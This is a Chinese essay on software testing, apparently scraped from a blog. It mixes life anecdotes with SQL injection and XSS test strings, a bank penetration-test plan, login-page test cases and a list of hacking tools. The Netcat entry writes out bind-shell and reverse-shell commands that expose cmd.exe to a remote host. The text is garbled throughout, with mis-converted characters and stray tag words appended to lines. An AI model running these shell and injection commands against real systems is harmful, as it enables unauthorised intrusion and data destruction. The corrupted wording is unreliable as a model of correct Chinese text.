细谈测试---个人启示录

    小时候对测试不很重视,好比让你作一件事,你会考虑其风险,别的因素吗。当你埋头只顾本身写软件代码,发布软件,就完事啦。但事实并不是如此,对方说你的网站有漏洞,或者软件注册码容易破解,这些你并不知道。跟客户打交道,客户不是说作完项目就完事啦,每每要一个月维护。或者测试一下。意外的状况也不少,这些你绝对没想到。软件的bug如何产生的,在你写以前就产生。人的思惟并不是绝对的。每每是相对的,人们总喜欢自觉得是,"I,M GOOD......"但测试离不开实践,不犯错误是不可能的。 javascript

        

软件测试就像给人诊断




软件测试的过程其实很像给人看病的过程 java

首先,你看到一我的的症状的时候,就是看到了这个bug,
而后经过这个bug能够联想到某种病
经过对于这个种病的联想
你能够查看有关这种病的关联性bug是否在这我的的身上也都存在,
若是这种病的关联性的bug都存在
那么就能够很确定的说,这我的是得了这个病。


。。。。
当修复了这个bug以后,


你应该把有关这个病的全部bug都验证一遍,

而且最好把全身都检查一遍,以确保没有影响到整我的 linux

软件测试就像是向上帝祷告 程序员

你究竟有罪没有,牧师有时会问你有没有罪,求上帝宽恕 web

按照上帝说:“世人皆有罪,惟有上帝是洁净的” 面试

软件产品代码bug,是存在的。 sql

软件测试就像测试人生 shell

如,一个故事----我为何没升职 数据库


到公司 工做快三年了,比我后来的同事陆续获得了 升职的机会,我却原地不动,内心颇不是滋味。终于有一天,冒着被解聘的危险,我找到老板理论。

“老板,我有过迟到、早退或乱章违纪的现象吗?”我问。 编程

老板干脆地回答“没有”。

那是公司对我有偏见吗?”老板先是一怔,继而说“固然没有。”

“为何比我资历浅的人均可以获得重用、而我却一直在微不足道的岗位上?”

老板一时语塞,而后笑笑说:“你的事我们等会再说,我手头上有个急事,要不你先帮我处理一下?”

一家客户准备到公司来考察产品情况,老板叫我联系他们,问问什么时候过来。

“这真是个重要的任务。”临出门前,我不忘调侃一句。

一刻钟后,我回到老板办公室。

“联系到了吗?”老板问。

“联系到了,他们说可能下周过来。”

“具体是下周几?”老板问。

“这个我没细问。”

“他们一行多少人。”

“啊!您没问我这个啊!”

“那他们是坐火车仍是飞机?”

“这个您也没叫我问呀!”

老板再也不说什么了,他打电话叫朱政过来。

朱政比我晚到公司一年,如今已经是一个部门的负责人了,他接到了与我刚才相同的任务。

一下子功夫,朱政回来了。

“哦,是这样的一一”

朱政答道:“他们是乘下周五下午3点的飞机,大约晚上6点钟到,他们一行5人,由采购部王经理带队,我跟他们说了,我公司会派人到机场迎接。另外,他们计划考察两天时间,具体行程到了之后双方再商榷。为了方便工做,我建议把他们安置在附近的国际**,若是您赞成,房间明天我就提早预订。还有,下周天气预报有雨,我会随时和他们保持联系,一旦状况有变,我将随时向您汇报。”

朱政出去后,老板拍了我一下说:“如今咱们来谈谈你提的问题。”

“不用了,我已经知道缘由,打搅您了。”

我忽然明白,没有谁生来就担当大任,都是从简单、平凡的小事作起,今天你为本身贴上什么样的标签,或许就决定了明天你是否会被委以重任。

能力的差距直接影响到办事的效率,任何一个公司都迫切须要那些工做积极主动负责的员工。

优秀的员工每每不是被动地等待别人安排工做,而是主动去了解本身应该作什么,而后尽心尽力地去完成。


测试就是感悟人生,没有最好,只有更好。

下面谈谈对软件,网站的项目测试


SQL注入测试用例

Drop table.  Guess table name and drop it, note the next flowing SQL language

Select * from A where A.a = ‘testdata’; drop table A---’;

2.  2.    If a field only allow number, give it a String or others

3.     Use ‘OR 1=1’, get all records in query function

Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

4.   3.    In login function, give user name field like ‘username’--’, “--’ and A.password = ‘’” is commented

Select * from user A where A.username =  ‘username’--’ and A.password = ‘’;

 

5.  4.     Adding records function, if there is 4 fields in this table, add 5 fields, eg.

Normal: Insert into table A values(‘’,’’,’’,’’);

Test Data: Insert into table A values(‘’,’testdata’,’’,’’,’’);

6.  5.    Input test data in or out of this field data 

7.  6.    Add single quotation marks and semicolon, and break off string splicing, this is similar with point 4

Update table A set A.a = ‘testdata’;--

Yellow partis test data we input 


网站安全测试

web测试--安全性:
(1)表单验证
(2)sql注入
(3)跨站点攻击

(1)表单验证
对所输入的用户名 密码 邮箱@ 手机号(11位)进行验证

(2)sql 注入
若是攻击者的登陆的用户名和密码分别是: 空格or 1=1# 密码是 空
select * from users where username=' or 1=1#’ and password=md5('')
在sql中#是注释语
等价与
select * from users where username=' or 1=1
1=1是 true
 简单说来就是
select * from users
这样就能够从数据库中提出全部的用户的信息

(3)跨站点攻击

XSS跨站脚本攻击的分类

反射型XSS跨站脚本攻击

源码变成了“<p>欢迎您, <script>alert(/个人名字是张三/)</script>!</p>”,从源代码中咱们发现,用户输入 的数据中,<script>与</script>标签中的代码被浏览器执行了,而这并非网页脚本程序想要的结果。这个例子正是 最简单的一种XSS跨站脚本攻击的形式,称之为反射型XSS。

存储型XSS跨站脚本攻击

存储型XSS脚本攻击最为常见的场景就是在博客或新闻发布系统中,黑客将包含有恶意代码的数据信息直接写入文章或文章评论中,全部浏览文章或评论的用户, 都会在他们客户端浏览器环境中执行插入的恶意代码。如流行的Bo-Blog程序的早期版本中存在对用户提交评论数据过滤不严致使的XSS跨站脚本攻击漏 洞,黑客能够在文章评论中提交插入恶意数据的UBB代码,提交后,Bo-Blog程序会将数据保存至数据库中,当用户浏览该日志时,就会执行插入的恶意代 码,
基于DOM的XSS跨站脚本攻击。

Android项目应用测试


测试的种类
  在开发过程当中,任什么时候间段均可以参与测试,这取决于采用何种测试方案。可是,咱们推荐测试 工做在项目开发早期就介入,甚至能够在完整需求出来以后、刚开始开发的时候就开始作准备。
  基于被测对象的不一样,有好几种不一样的测试方法。可是不管采用哪一种测试方法, 测试用例都包含执行条件和执行结果,执行结果返回True或者False来表示用例是否正确。
     单元测试
   单元测试,指的是程序员在开发阶段写的测试用例。这种测试用例须要将被测对象独立隔离起来,也就是mock掉外部关联对象。单元测试用例应用是能够重复执行的。这也是为何咱们常把单元测试和mock对象关联在一块儿。由于你要经过mock对象来模拟外部交互从而达到隔离被测对象的目的。固然,这样的用例能够重复执行任何次数。例如,假设你要从 数据库中删除某些数据,可是下一次执行这个用例时这些数据还须要用,所以不想这些数据真正被删除,这时候mock数据库的返回,伪装数据已经删除成功了。
   Junit是约定俗成的标准单元测试框架。它是一个简单、开源的自动化单元测试框架,由ErichGamma和KentBeck两位做者建立。
   Android要用Junit 3。这个版本没有注释,而是经过内部自查来感知测试用例的。一个典型的Junit测试用例写法如框1.1中所示的代码,其中测试方法用高亮度显示:
     Junit测试代码样例
/**
* Android Application Testing Guide
*/
package com.example.aatg.test;
import JUnit.framework.TestCase;
/**
* @author diego
*/
public class MyUnitTests extends TestCase {
private int mFixture;
/**
* @param name test name
*/
public MyUnitTests(String name) {
super(name);
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#setUp()
*/
protected void setUp() throws Exception {
super.setUp();
mFixture = 1234;
}
/* (non-Javadoc)
* @see JUnit.framework.TestCase#tearDown()
*/
protected void tearDown() throws Exception {
super.tearDown();
}
/**
* Preconditions
*/
public void testPreconditions() {
}
/**
* Test method
*/
public void testSomething() {
fail("Not implemented yet");
}
}
  若是你购买了Packt书,能够访问http://www.PacktPub.com,在我的帐户中下载样本源代码。若是你是从其余地方购买的书,能够访问http://www.PacktPub.com/support来注册用户,而后咱们将源码文件直接发E-mail给您。
  。案例
  测试套件
  测试套件是个为人熟知的名词,它表示执行用例的标准流程模式。每一个测试用例都用同一套标准流程。所以,它也是测试用例设计的基础。
  一般状况下,按照Android的约定,它由一系列成员变量构成。一般以m开头,如: mActivity。可是,它也有一些扩展数据,做为数据库和文件系统操做的特殊入口。
   2.setUp方法
  这个方法是用来初始化测试套件用的。
  经过重载这个方法,你能够新建对象,初始化元素。在每一个测试用例执行以前,这个SetUp方法都会执行一次。
   3.tearDown方法
  tearDown方法是在测试套件中最后执行的函数。
  在测试用例执行过程当中,会初始化一些对象,这些对象能够在tearDown函数中进行销毁。由于tearDown函数是每一个测试用例最后必须执行的,是销毁对象的最佳阶段。
  好比:你能够在tearDown中释放掉数据库链接以及网络链接。
  Junit设计的流程是这样的:首先,将整个库的用例都编译完。而后,在第二阶段再执行测试用例。所以,在测试执行过程当中,执行器对全部用例都有强依赖。也就是说,对于那些用例不少、耗时很长的用例来讲,在全部用例完成以前,是不会对变量、对象进行回收的。这点在 Android测试中特别重要,由于在某些设备上测试失败的缘由不是由于固有的逻辑问题,而是由于用例执行太多致使资源不足了。

  所以,在Android应用中,你若测试使用了额外的、有限的资源,好比Services服务或者contentProvides,那么,你应该注意要及时释放掉。在tearDown方法中,严格遵照将对象设置成null的规则,以便及时回收,避免一直占用资源,一直到全部用例跑完才释放。

渗透测试

银行网站测试


银行是网络信息技术应用最密集、应用水平最高的行业之一,基于计算机网络的各种银行信息系统已经成为银行产品的开发推广、银行业务的展开、银行平常管理和决策的所依赖的关键组成部分。这种依赖性使得银行面临着因为网络信息系统自己所带来的银行信息技术风险。

  银行信息技术风险的主要挑战来自于基础网络信息技术的复杂性和变化,其中面对互联网主要有如下几个方面风险:

  基于网络的电子银行,须要有完善的安全体系架构;

  面向Internet的银行业务面临着各类各样的互联网威胁;

  远程移动用户接入和内部用户接入Internet,均可能引入不一样类型的威胁源;

  钓鱼网站对于银行网上业务和企业信誉的损害。

  伴随银行业务的发展,原有的网上银行、门户网站等都进行了不一样程度的功能更新和系统投产,同时,行内系统安全要求愈来愈高,可能受到的恶意攻击包括:信息篡改与重放、信息销毁、信息欺诈与抵赖、非受权访问、网络间谍、“黑客”入侵、病毒传播、特洛伊木马、蠕虫程序、逻辑炸弹等。这些攻击彻底能形成信息系统瘫痪、重要信息流失。

  2、渗透测试的目标

  本项目经过渗透测试的方式,模拟黑客的攻击思路与技术手段,达到如下目标:

  从攻击者角度,发现网银系统、信用卡网站、门户网站和中间业务等应用系统及网关入口设备存在的安全隐患;

  检测对外提供服务的业务系统(如网银系统、信用卡网站、门户网站等)以及行内重要业务系统的威胁防护能力。

  深度挖掘渗透测试范围内应用系统各个层面(应用层、网络层、系统层)的安全漏洞;

  检验当前安全控制措施的有效性,针对发现的安全风险及时进行整改,加强系统自身防护能力,提高安全保障体系的总体健壮性。

  3、渗透测试原则与风险控制原则

  遵循规范

  渗透测试经过可控的安全测试技术对限定范围内的应用系统进行渗透测试,同时结合如下业界著名的测试框架组合成最佳实践进行操做:

  ISECOM制定的开源安全测试方法OSSTMM-v2.2

  开放Web应用安全项目OWASP-v3

  风险控制

  渗透测试过程最大的风险在于测试过程当中对业务产生影响,为此咱们在实施渗透测试中采起如下措施来减少风险:

  ● 双方确认

  进行每一阶段的渗透测试前,必须得到客户方的书面赞成和受权。对于任何渗透测试的对象的变动和测试条件的变动也都必须得到双方的赞成并达成一致意见,方可执行。

  ● 工具选择

  为防止形成真正的攻击,在渗透性测试项目中,启明星辰会严格选择测试工具,杜绝因工具选择不当形成的将病毒和木马植入的状况发生。

  ● 时间选择

  为减轻渗透性测试对用户网络和系统的影响,安排在不影响正常业务运做的时间段进行,具体时间主要限制双方协调和商定的时间范围内。

  ● 范围控制

  启明星辰承诺不会对受权范围以外的网络设备、主机和系统进行漏洞检测、攻击测试,严格按照渗透测试范围内限定的应用系统进行测试。

  ● 策略选择

  为防止渗透性测试形成用户网络和系统的服务中断,启明星辰在渗透性测试中不使用含有拒绝服务的测试策略,不使用未经许可的方式进行渗透测试。

  ● 操做过程审计

  为保证测试过程可审计,启明星辰将在测试过程当中开启测试工具的审计日志功能,阶段性测试目标测试结束后,会将审计日志提交用户,以便用户监控测试过程。

  ● 项目沟通

  启明星辰建议:在项目实施过程当中,除了肯定不一样阶段的测试人员之外,还要肯定各阶段的客户方配合人员,创建双方直接沟通的渠道;项目实施过程当中须要客户方人员同时在场配合工做,并保持及时、充分、合理的沟通。

  ● 系统备份和恢复措施

  为避免实际渗透测试过程当中可能会发生不可预知的风险,所以在渗透测试前相关管理人员应对系统或关键数据进行备份、确保相关的日志审计功能正常开启,一旦在出现问题时,能够及时的恢复运转。

黑客测试工具


1、Nessus
  是扫描UNIX漏洞的主力工具,随后栖身 Windows。主要功能包括本地和远程安全审查,支持client/server结构,具备GTK图形界面,并支持脚本语言编写插件。属免费开源。
  2、Wireshark
  提及Wireshark,不得不提Ethereal,Ethereal和Windows的sniffer pro并称网络嗅探工具双雄,不过和sniffer pro不一样的是Ethereal在 Linux类系统中应用更为普遍。而Wireshark则是Ethereal后续版本,是在Ethereal被收购后推出的最新网络嗅探软件,是功能强大的网络数据捕获工具,可分析网络数据流量,在第一时间发现蠕虫病毒,木马程序以及ARP欺骗等问题的根源。
  3、Snort
  Snort免费跨平台,用做监视小型TCP/IP网的嗅探器、日志 记录、侵入探测器。可运行linux/UNIX和Win,snort有三种 工做模式:嗅探器、数据包记录器、网络入侵检测系统。
  嗅探器模式是snort从网络上读出数据包而后显示控制台上。例如要把TCP/IP包头信息打印在屏幕上,须要输入命令:snort -v
  4、Netcat
  netcat被誉为‘瑞士军刀',一个简单有用的工具,透过使用TCP或UDP协议的网络链接读写数据。它被设计成一个稳定的后门工具,是一个功能强大的网络调试和探测工具。
  1)例子:连到192.168.x.x的TCP80端口的命令:nc -nvv 192.168.x.x 80
  2) 监听本机的TCP80端口: nc -l -p 80
  3) 扫描192.168.x.x的TCP80到TCP445的全部端口: nc -nvv -w2 -z 192.168.x.x 80-445
  4)  绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口REMOTE主机绑定 SHELL: nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
  5)REMOTE主机绑定SHELL并反向链接,例如:绑定REMOTE主机的CMDSHELL并反向链接到192.168.x.x的TCP5354端口的命令:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
  6)做攻击程序用,例子:链接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'内容:
  格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
  格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
  7)做蜜罐用,例子:使用'-L'(注意L是大写)能够不停地监听某一个端口,直到ctrl+c为止
  格式:nc -L -p 80
  5、Metasploit Framework
  是一个编写、 测试和使用exploit代码的完善环境。这个环境为渗透测试,shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和 Python编写的可选组件。Metasploit Framework 做为一个缓冲区溢出测试使用的辅助工具,也能够说是一个漏洞利用和测试平台。它集成了各平台上常见的溢出漏洞和流行的shellcode,而且不断更新,使得缓冲区溢出测试变得方便和简单。
  6、Hping2
  Hping2:一种网络探测工具,是ping的超级变种,这个小工具能够发送自定义的ICMP,UDP和TCP数据包,并接收全部反馈信息。例如能够设置时间间隔,数据包发送的频率(-i uX X为微秒),命令为:hping2 192.168.0.1 -c 2 -i u1000
  7、Kismet
  Kismet是一个基于Linux的无线网络扫描程序,一个至关方便的工具,经过测量周围无线信号找到目标WLAN。当Kismet开始运行时,将会显示这个区域内它找到全部的无线局域网,“Name”列中所显示出来的就是WLAN中AP的SSID值,开始设定的目标WLAN也应该包含中其中,在这一行中,CH列的值(AP所使用的频道)应该与开始所记下的相同。在窗口的最右边显示的信息是Kismet发现的WLAN的数目,已被捕捉下来了的数据包、已加密了的数据包的数目等等。甚至当目标计算机已关闭时,Kismet也正可从咱们的目标AP中检测到数据包,这是由于目标AP在不停地发出“beacons”,它将告之拥有无线网卡的计算机有一个AP在此范围内。
  8、Tcpdump
  基于linux 的TcpDump能够将网络中传送的数据包的“头”彻底截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息。tcpdump就是一种免费的网络分析工具,尤为其提供了源代码,公开了接口,所以具有很强的可扩展性,对于网络维护和入侵者都是很是有用的工具。
  9、Cain and Abel
  是一款Windows平台下的口令恢复工具。它经过采用多种方式来恢复多种口令,采起方式包括:嗅探网络,使用字典、暴力、密码分析方法破解解密口令,记录VoIP会话,解码混杂口令,恢复无线网络密钥,揭示口令框中输入的口令(星号查看),披露缓冲口令和分析路由协议。这个工具没有利用任何软件漏洞或缺陷,它利用了协议标准、认证方法和缓冲机制自己存在的安全问题以及内在的弱点,其主要目的是简单地恢复多种程序的口令和凭证。该软件由两部分组成:Cain和Abel。Cain(Cain.exe)是程序的主图形界面,Abel是一个Windows服务,由文件Abel.exe和Abel.dll组成。
  10、John the Ripper
  用于在已知密文的状况下尝试破解出明文的破解密码软件。目前的最新版本是 JOHN 1.4 版, 主要支持对 DES、 MD5 两种加密方式的密文进行破解工做。它能够工做于多中不一样 的机 型 以及多种不一样的 操做系统
  11、Ettercap
  Ettercap最初设计为交换网上的sniffer,可是随着发展,它得到了愈来愈多的功能,成为一款有效的、灵活的中介攻击工具。它支持主动及被动的协议解析并包含了许多网络和主机特性(如OS指纹等)分析。Ettercap有5种sniffing工做方式:
  (1)IPBASED:基于IP地址的sniffing方式,Ettercap根据源IP-PORT和目的IP-PORT来捕获数据包。
  (2)MACBASED: 基于MAC地址的方式,Ettercap将根据源MAC和目的MAC来捕获数据包。
  (3) ARPBASED : 基于ARP欺骗的方式下,Ettercap利用ARP欺骗在交换局域网内监听两个主机之间的通讯(全双工)。
  (4) SMARTARP: 在SMARTARP方式下,Ettercap利用ARP欺骗,监听交换网上某台主机与全部已知的其余主机(存在于主机表中的主机)之间的通讯(全双工)。
  (5) PUBLICARP : 在PUBLICARP方式下,Ettercap利用ARP欺骗,监听交换网上某台主机与全部其它主机之间的通讯(半双工)。
  12、Nikto
  Nikto 是一款开放源代码的、功能强大的 WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其余问题,它能够扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机容许的 http模式等等。它也使用LibWhiske库,但一般比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。
  十3、Ping/telnet/dig/traceroute/whois/netstat:最基本的安全命令。
  十4、OpenSSH / PuTTY / SSH
  SSH(Secure Shell)如今广泛应用于登陆远程计算机或在其上执行命令。为不安全网络上的两台不互信计算机间通信提供安全加密,代替很是不可靠的telnet/rlogin/rsh交互内容。大多unix使用开源的OpenSSH服务器和客户端程序。Windows用户更喜欢免费的PuTTY客户端,也能够运行在多种 移动设备上。还有一些windows用户喜欢使用基于终端的OpenSSH模拟程序Cygwin。
  十5、THC Hydra
  若是某人须要暴力破解一个远程认证服务,Hydra常常会是选择对象。它能够同时对30个以上的端口进行基于字典的快速破解,包括telnet、ftp、http、https、smb、多种 数据库及其它服务。和THC Amap同样,Hydra来自于民间组织THC。
  十6、Paros proxy
  proxy是架设在攻击者的 浏览器和目标网站中间,全部的要求和回应都会被送到,藉此骇客得以仔细研究这些封包资讯,包括在网页传送中的、变数,并能够修改这些变数后再送出。proxy功能齐全,具有网站弱点扫描和侦测能力,对一些常见的网页应用程序攻击,均可进行检测,甚至可以检测出不安全的网页组件。
  十7、Dsniff
  Dsniff是一个高级的口令嗅探器,是第一批扩展了传统Sniffer概念的监听工具,将制造的数据包注入网络,并将通讯数据从新定向到攻击者的机器。在这种方式下,Dsniff容许攻击者在交换环境的网络内窃听数据,甚至在攻击者和攻击目标不在同一个Lan,也能使攻击者收集到想要的数据。支持telnet 、ftp、smtp、pop、imap、http应用协议。十8、NetStumbler
  NetStumbler 是一款专门用来寻找无线AP的工具,是目前最流行的无线搜寻工具。开启后能自动显示附近探测到的无线AP,并能显示这些无线AP的SSID、MAC地址、频段、速度、是否加密等信息。值得一提的是,NetStumbler能够显示设置了隐藏SSID的无线AP,在软件界面中能够看到该AP的绿灯在不断闪烁。在树状结构中列出了各频段检测到的无线AP。因为NetStumbler进行全面扫描,因此附近无线AP将尽收眼底。由于它是美国人开发的,因此只能检测1~11之间的11个频段,而国内无线频段分为13个频段,12~13频段的无线AP将没法搜寻到。
  十9、THC Amap
  它能够检测出某一端口正在被什么程序监听。由于其独有的version detection特性,因此其数据库不会象Nmap同样变得很大,在Nmap检测某一服务失败或者其它软件不起做用时能够考虑使用之。Amap的另外一特性是其可以解析Nmap输出文件。这也是THC贡献的另外一款颇有价值的工具。
  二10、GFI LANguard
  企业网络漏洞管理的三大主要问题:网络扫描、网络审计和补丁管理。GFI LANguard Network Security Scanner (N.S.S.) 是一项屡获殊荣的解决方案,可以扫描、检测、评估和修复网络中的任何安全漏洞。做为管理员您常常须要处理各类不一样的问题,有时会使用多种产品分别处理与网络漏洞、补丁管理和网络审计相关的问题。使用 GFI LANguard N.S.S.,漏洞管理的三大主要问题能够经过带有丰富报告功能的单个控制面板得以解决。
网页通用测试

好比 有一个登录页面, (假如上面有2个textbox, 一个提交按钮。 请针对这个页面设计30个以上的testcase.)

  此题的考察目的: 面试者是否熟悉各类 测试方法,是否有丰富的 Web测试经验, 是否了解Web开发,以及设计Test case的能力
  这个题目仍是至关有难度的, 通常的人很难把这个题目回答好。
  首先,你要了解用户的需求,好比这个登陆界面应该是弹出窗口式的,仍是直接在网页里面。对用户名的长度,和密码的强度(就是是否是必须多少位,大小写,特殊字符混搭)等。还有好比用户对界面的美观是否是有特殊的要求?(便是否要进行UI测试)。剩下的就是设计用例了 ,等价类,边界值等等。
  请你记住一点,任何测试,无论测什么都是从了解需求开始的。
   功能测试(Function test)
  0. 什么都不输入,点击提交按钮,看提示信息。(非空检查)
  1.输入正确的用户名和密码,点击提交按钮,验证是否能正确登陆。(正常输入)
  2.输入错误的用户名或者密码, 验证登陆会失败,而且提示相应的错误信息。(错误校验)
  3.登陆成功后可否可否跳转到正确的页面(低)
  4.用户名和密码,若是过短或者太长,应该怎么处理(安全性,密码过短时是否有提示)
  5.用户名和密码,中有特殊字符(好比空格),和其余非英文的状况(是否作了过滤)
  6.记住用户名的功能
  7.登录失败后,不能记录密码的功能
  8.用户名和密码先后有空格的处理
  9.密码是否加密显示(星号圆点等)
  10.牵扯到验证码的,还要考虑文字是否扭曲过分致使辨认难度大,考虑颜色(色盲使用者),刷新或换一个按钮是否好用
  11.登陆页面中的注册、忘记密码,登出用另外一账号登录等连接是否正确
  12.输入密码的时候,大写键盘开启的时候要有提示信息。
   界面测试(UI Test)
  1.布局是否合理,2个testbox 和一个按钮是否对齐
  2.testbox和按钮的长度,高度是否复合要求
  3. 界面的设计风格是否与UI的设计风格统一
  4. 界面中的文字简洁易懂,没有错别字。
   性能测试(performance test)
  1.打开登陆页面,须要几秒
  2.输入正确的用户名和密码后,登陆成功跳转到新页面,不超过5秒
   安全性测试(Security test)
  1.登陆成功后生成的Cookie,是不是httponly (不然容易被脚本盗取)
  2.用户名和密码是否经过加密的方式,发送给Web服务器
  3.用户名和密码的验证,应该是用服务器端验证, 而不能单单是在客户端用javascript验证
  4.用户名和密码的输入框,应该屏蔽 SQL注入攻击
  5.用户名和密码的的输入框,应该禁止输入脚本 (防止XSS攻击)
  6.错误登录的次数限制(防止暴力破解)
  7. 考虑是否支持多用户在同一机器上登陆;
  8. 考虑一用户在多台机器上登陆
   可用性测试(Usability Test)
  1. 是否能够全用键盘操做,是否有快捷键
  2. 输入用户名,密码后按回车,是否能够登录
  3. 输入框可否能够以Tab键切换
   兼容性测试(Compatibility Test)
  1.主流的浏览器下可否显示正常已经功能正常(IE,6,7,8,9, Firefox, Chrome, Safari,等)
  2.不一样的平台是否能正常 工做,好比 Windows, Mac
  3.移动设备上是否正常工做,好比Iphone, Andriod
  4.不一样的分辨率
  本地化测试 (Localization test)
  1. 不一样语言环境下,页面的显示是否正确。
  软件辅助性测试 (Accessibility test)
  软件辅助功能测试是指测试软件是否向残疾用户提供足够的辅助功能
  1. 高对比度下可否显示正常 (视力很差的人使用)

最后的测试,老板会检测你对公司的忠诚度,会不会给你重任,你确定面临这一测试,不然你干不下去啦。

test,test

其实测试无处不在,好比进入婚姻圣殿前,妻子会对你进行婚姻忠诚度测试,还有牧师的表白。。。。。

你也将又面临一项测试。

好累呀。


I don't know who hold tomorrow

耳边响起徐志摩的诗《再别康桥》

悄悄的来我又悄悄的走了。

adiOS
相关文章
相关标签/搜索